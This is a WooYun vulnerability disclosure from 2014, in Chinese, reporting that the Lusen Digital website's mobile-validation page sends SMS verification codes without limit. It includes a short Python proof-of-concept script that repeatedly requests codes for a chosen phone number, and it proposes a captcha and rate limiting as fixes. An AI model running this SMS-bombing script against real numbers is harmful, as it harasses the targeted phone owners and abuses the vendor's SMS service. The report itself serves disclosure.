当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-020771

漏洞标题：绿森数码短信炸弹，想炸谁就炸谁（附EXP）

相关厂商：浙江绿森数码科技有限公司

漏洞作者： xfkxfk

提交时间：2014-05-16 14:11

修复时间：2014-05-21 14:12

公开时间：2014-05-21 14:12

漏洞类型：网络设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-16： 细节已通知厂商并且等待厂商处理中
2014-05-21： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

绿森数码短信炸弹，想炸谁就炸谁（附EXP）

详细说明：

1、url地址

http://www.lusen.com/Member/ModifyMobileValidate.aspx


2、这里可以无限次发送验证码：

.jpg


3、那么我们用神器brup，加上repeatr各种发：

repeater.jpg


4、见证明：
这里还有更好玩的，验证码突然还有5位的，4位的，见图，不知道这个是神马情况。。。

.PNG


最后给个exp，不要干坏事，方正我没有：

#!/usr/bin/python
import httplib,urllib
params = urllib.urlencode({"action":"GetValidateCode","Mobile":"13111111111"})    
headers = {
     "User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0",
     "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
     "Accept-Language": "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3",
     "Content-Type": "ajax/json; charset=UTF-8",
     "Referer": "http://www.lusen.com/Member/ModifyMobileValidate.aspx",          
     "Cookie": "your own cookie here",            #这里是你自己登陆的cookie
     "Connection": "keep-alive",
     "Content-Length": "51",
     "Host": "http://www.lusen.com"
     }  
con = httplib.HTTPConnection("http://www.lusen.com","80")    #
con.request("POST", "/Member/ModifyMobileValidate.aspx",params,headers)    
response = con.getresponse()
print dir(response)
if response.status == 200:
    print "Success","\n"
else:
    print "Failed","\n"
con.close()

漏洞证明：

.PNG

修复方案：

1、加验证行不行
2、限制时间段内的次数行不行

版权声明：转载请注明来源 xfkxfk@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-05-21 14:12

厂商回复：

最新状态：

暂无